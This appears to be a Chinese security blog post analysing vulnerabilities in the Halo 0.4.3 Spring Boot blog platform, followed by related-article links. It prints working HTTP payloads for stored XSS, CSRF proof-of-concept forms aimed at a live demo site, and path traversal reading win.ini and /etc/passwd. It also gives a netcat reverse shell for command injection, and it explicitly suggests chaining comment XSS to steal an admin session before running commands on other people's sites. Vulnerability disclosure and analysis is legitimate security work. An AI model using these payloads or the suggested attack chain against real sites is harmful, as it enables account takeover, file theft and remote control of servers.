Author : Ali0th

Date : 2019-4-30

看到 Halo 0.4.3 Issue 上还挺多漏洞的,而且作者打算写新的版本,目前的版本大部分都还没修。这个漏洞还是有点多的,不过大部分都是后台漏洞。

这个是一个 Java SpringBoot 写的 Web 博客应用,相关部署和源码分析可以见我的其它文章。

如果要渗透别人的网站,可以先使用评论处存储型XSS,获取到管理员 session 后,再使用命令执行 后台远程命令执行 即可。

@[TOC]

后台记录IP存储型XSS

These is A stored xss vulnerability #126

是一个后台的存储型XSS,因为记录后台登录IP和X-Forwarded-For,然后展示导致的。

github.com/halo-dev/ha…

payload:

POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 35
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2loginName=admin&loginPwd=adminadmin
复制代码

密码错误提示XSS(已修复)

密码错误时,返回了密码内容无过滤,这个是POST型XSS。

try {User aUser = userService.findUser();...} catch (Exception e) {Integer errorCount = userService.updateUserLoginError();if (errorCount >= 5) {userService.updateUserLoginEnable("false");}userService.updateUserLoginLast(new Date());logsService.saveByLogs(new Logs(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + loginName + "," + loginPwd + "]", HaloUtil.getIpAddr(request), new Date()));log.error("登录失败!:{0}", e.getMessage());}
复制代码

payload:

POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 77
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cacheloginName=admin&loginPwd=adminadmin<a href="javascript:alert(/xss/);">xss</a>
复制代码

修复后:

//更新失败次数
final Integer errorCount = userService.updateUserLoginError();
//超过五次禁用账户
if (errorCount >= CommonParamsEnum.FIVE.getValue()) {userService.updateUserLoginEnable(TrueFalseEnum.FALSE.getDesc());
}
logsService.save(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + HtmlUtil.escape(loginName) + "," + HtmlUtil.escape(loginPwd) + "]", request);
final Object[] args = {(5 - errorCount)};
return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.login.failed", args));
复制代码

加入了HtmlUtil.escape()方法过滤。

评论处存储型XSS

评论处存储型XSS,可以提交到后台,让后台管理者受到XSS攻击。

文件位置:cc.ryanc.halo.web.controller.front.FrontCommentController

comment.setCommentAuthorEmail(HtmlUtil.escape(comment.getCommentAuthorEmail()).toLowerCase());
// code ...
comment.setCommentAuthor(HtmlUtil.escape(comment.getCommentAuthor()));
// code ...//将评论内容的字符专为安全字符comment.setCommentContent(OwoUtil.markToImg(HtmlUtil.escape(comment.getCommentContent()).replace("&lt;br/&gt;", "<br/>")));
}
if (StrUtil.isNotEmpty(comment.getCommentAuthorUrl())) {comment.setCommentAuthorUrl(URLUtil.normalize(comment.getCommentAuthorUrl()));
}
复制代码

可以看到,提交评论处对大部分参数值有使用HtmlUtil.escap进行过滤,但是对getCommentAuthorUrl没有过滤。

payload:

POST /newComment HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/archives/hello-halo
Content-Length: 241
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cachepostId=3&commentContent=ali0th+say+hi&commentAuthor=ali0th&commentAuthorEmail=ali0th%40test.com&commentAuthorUrl=www.ali0th.com"><img src=1 onerror=alert(123)>&commentAgent=Mozilla%2F5.0+(Windows+NT+6.3%3B+WOW64%3B+rv%3A27.0)+Gecko%2F20100101+Firefox%2F27.0&commentParent=0
复制代码

github.com/halo-dev/ha…

后台任意文件下载

将备份发送到邮箱处,使用拼接的方式加载文件,然后发到邮件,导致任意文件下载。

文件位置:cc.ryanc.halo.web.controller.admin.BackupController

System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code...
new EmailToAdmin(srcPath, user).start();
复制代码

payload:

因为我在 win 环境,所以这里包含c:/windows/win.ini

GET /admin/backup/sendToEmail?type=../../../../../../&fileName=c:/windows/win.ini HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/admin/backup?type=resources
Cookie: JSESSIONID=OtSpPq_v8fXROoZ5mFT3DbjeIs07ud8kk6VyMh5U
Connection: keep-alive
复制代码

github.com/halo-dev/ha…

后台远程命令执行

在线拉取主题功能,使用 git clone 接取主题。

文件位置:cc.ryanc.halo.web.controller.admin.ThemeController

final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
复制代码

使用拼接的形式构造命令,并使用RuntimeUtil.execForStr执行。

我这是win下,所以使用下面命令

# 监听
nc -l -p  12345 -v
# 反弹命令
nc.exe -e cmd.exe 127.0.0.1 12345
复制代码

github.com/halo-dev/ha…

后台任意文件删除

在删除备份文件处,使用拼接方式组装路径。

文件位置:cc.ryanc.halo.web.controller.admin.BackupController

final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code ...
FileUtil.del(srcPath);
复制代码

github.com/halo-dev/ha…

后台添加标签处XSS与CSRF

添加标签处基本没有过滤。

文件位置:cc.ryanc.halo.web.controller.admin.TagController

final Tag tempTag = tagService.findByTagUrl(tag.getTagUrl());
// code ...
tag = tagService.create(tag);
复制代码

没有太多的处理,对 tagName 则完全没有处理。

CSRF payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="https://demo.halo.run/admin/tag/save" method="POST"><input type="hidden" name="tagName" value="&lt;script&gt;alert(1)&lt;/script&gt;" /><input type="hidden" name="tagUrl" value="123" /><input type="submit" value="Submit request" /></form></body>
</html>
复制代码

XSS payload:

POST /admin/tag/save HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/tag
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
Pragma: no-cache
Cache-Control: no-cachetagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123
复制代码

github.com/halo-dev/ha…

后台文章发表处CSRF

大部分位置均有 CSRF。这里就不分析了。

payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="https://demo.halo.run/admin/posts/save" method="POST"><input type="hidden" name="postStatus" value="0" /><input type="hidden" name="postTitle" value="test" /><input type="hidden" name="postUrl" value="1554359315872" /><input type="hidden" name="postContentMd" value="test123" /><input type="hidden" name="postThumbnail" value="/static/halo-frontend/images/thumbnail/thumbnail.png" /><input type="hidden" name="cateList" value="" /><input type="hidden" name="tagList" value="" /><input type="hidden" name="allowComment" value="1" /><input type="hidden" name="postPassword" value="" /><input type="submit" value="Submit request" /></form></body>
</html>
复制代码

github.com/halo-dev/ha…

后台主题编辑处存在任意文件读取

使用 append 方法拼接路径,没有对输入的参数值过滤,导致任意文件读取。

文件位置:cc.ryanc.halo.web.controller.admin.ThemeController

//获取项目根路径
final File basePath = new File(ResourceUtils.getURL("classpath:").getPath());
//获取主题路径
final StrBuilder themePath = new StrBuilder("templates/themes/");
themePath.append(BaseController.THEME);
themePath.append("/");
themePath.append(tplName);
final File themesPath = new File(basePath.getAbsolutePath(), themePath.toString());
final FileReader fileReader = new FileReader(themesPath);
tplContent = fileReader.readString();
复制代码

payload:

GET /admin/themes/getTpl?tplName=../../../../../../../../etc/passwd HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/themes/editor
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
复制代码

github.com/halo-dev/ha…

前台突破加密文章权限

只判断了是否有传入 cookie ,没有判断是密码是否正确。只要拦截包,然后修改 cookie 即可。

(这一个漏洞我没有复现成功,很奇怪,先搁置)

文件位置:cc.ryanc.halo.web.controller.front.FrontArchiveController

//判断文章是否有加密
if (StrUtil.isNotEmpty(post.getPostPassword())) {Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId());if (null == cookie) {post.setPostSummary("该文章为加密文章");post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>该文章为加密文章,输入正确的密码即可访问。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>");}
}// code ...// 验证密码成功添加cookieif (SecureUtil.md5(postPassword).equals(post.getPostPassword())) {ServletUtil.addCookie(response, "halo-post-password-" + post.getPostId(), SecureUtil.md5(postPassword));}
复制代码

payload:

HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Thu, 04 Apr 2019 15:02:04 GMT
Content-Length: 0
Connection: keep-alive
Location: 127.0.0.1:8090/archives/hello-halo
Content-Language: zh-CN
Set-Cookie: halo-post-password-3=fae0b27c451c728867a567e8c1bb4e746
Strict-Transport-Security: max-age=31536000
复制代码

github.com/halo-dev/ha…

资料

Halo 漏洞 Issues

SpringBoot 学习 | raibaby Halo v0.4.3 漏洞分析-Ali0th相关推荐

  1. SpringBoot 学习 | raibaby halo 之安装部署 - Ali0th

    Author : Ali0th Date : 2019-4-30 @[TOC] 前言 作为多语言开发者,怎么可以不会 Java 呢?有人推荐 raibaby halo 来学习 SpringBoot , ...

  2. SpringBoot 学习笔记

    SpringBoot 学习笔记 文章目录 SpringBoot 学习笔记 1. SpringBoot简介 1.1 什么是Spring 1.2 Spring 是如何简化Java开发的 1.3 什么是 S ...

  3. 狂神说——SpringBoot学习

    spring官网 SpringBoot官网 spring-security版本下载 狂神官网学习 也可以搜索B站 (狂神说) 学习网站:https://www.bilibili.com/video/B ...

  4. springboot学习笔记:12.解决springboot打成可执行jar在linux上启动慢的问题

    springboot学习笔记:12.解决springboot打成可执行jar在linux上启动慢的问题 参考文章: (1)springboot学习笔记:12.解决springboot打成可执行jar在 ...

  5. SpringBoot学习笔记(3):静态资源处理

    SpringBoot学习笔记(3):静态资源处理 在web开发中,静态资源的访问是必不可少的,如:Html.图片.js.css 等资源的访问. Spring Boot 对静态资源访问提供了很好的支持, ...

  6. 目录:SpringBoot学习目录

    SpringBoot配套源码地址:gitee.com/hengboy/spr- SpringCloud配套源码地址:gitee.com/hengboy/spr- SpringBoot相关系列文章请访问 ...

  7. springboot学习笔记(五)

    一丶注值方式 1.在application.properties文件中注值 首先我们将application.yml中的学生名字和年龄给注释掉,来验证在applic.properties的注值方式. ...

  8. SpringBoot学习笔记(4)----SpringBoot中freemarker、thymeleaf的使用

    1. freemarker引擎的使用 如果你使用的是idea或者eclipse中安装了sts插件,那么在新建项目时就可以直接指定试图模板 如图: 勾选freeMarker,此时springboot项目 ...

  9. SpringBoot学习笔记(16):单元测试

    SpringBoot学习笔记(16):单元测试 单元测试 单元测试(英语:Unit Testing)又称为模块测试,是针对程序模块(软件设计的最小单位)来进行正确性检验的测试工作.程序单元是应用的最小 ...

最新文章

  1. 表间数据复制--SELECT表中的数据插入到新的表中(ORACLE,MSSQL)
  2. 【excrt】屠龙勇士(luogu 4774)
  3. DOCKER-COMPOSE搭建MONGODB分片集群(单机版)
  4. 互联网职场红利真的不多了~
  5. 【优化算法】非支配排序遗传算法(NSGA)【含Matlab源码 176期】
  6. 使用Idea进行Junit单元测试
  7. uni-app开发语音提示推送功能
  8. Linux.2- shell命令(部分)
  9. WPF入门一:搭建WPF的开发环境
  10. 配置软路由-同时连接内网和外网
  11. Advanced COM Interop
  12. 嵌入式软件测试——1.简介
  13. JKS 密钥库使用专用格式。建议使用 “xxx“ 迁移到行业标准格式 PKCS12
  14. AI帮我画出了小说里的人物,我这么多年的小说好像白看了。。。
  15. Windows 8安装软件时遇到运行时错误‘339’ MSCOMCTL.ocx或其附件之一未注册
  16. HDU 2094 产生冠军
  17. outlook邮件搜索方法与技巧
  18. 时间紧资金少人才缺?8位产业专家带你破局AI智能化升级
  19. 用Beautiful Soup进行屏幕抓取
  20. 知识图谱:知识表示方法的思维导图

热门文章

  1. Logback 配置文件例子
  2. 用nice等命令设定的进程优先级有什么确切的含义?
  3. Linux Bash 笔记
  4. leetcode算法题--学生分数的最小差值
  5. leetcode算法题--平衡二叉树
  6. leetcode算法题--推多米诺
  7. 文本显示变量_Axure9实操教程10-变量
  8. 后退到的页面为什么没有执行js_为什么中层没有执行力?
  9. puppet自动化运维之exec资源
  10. java使用类似ini文件IniProperties的类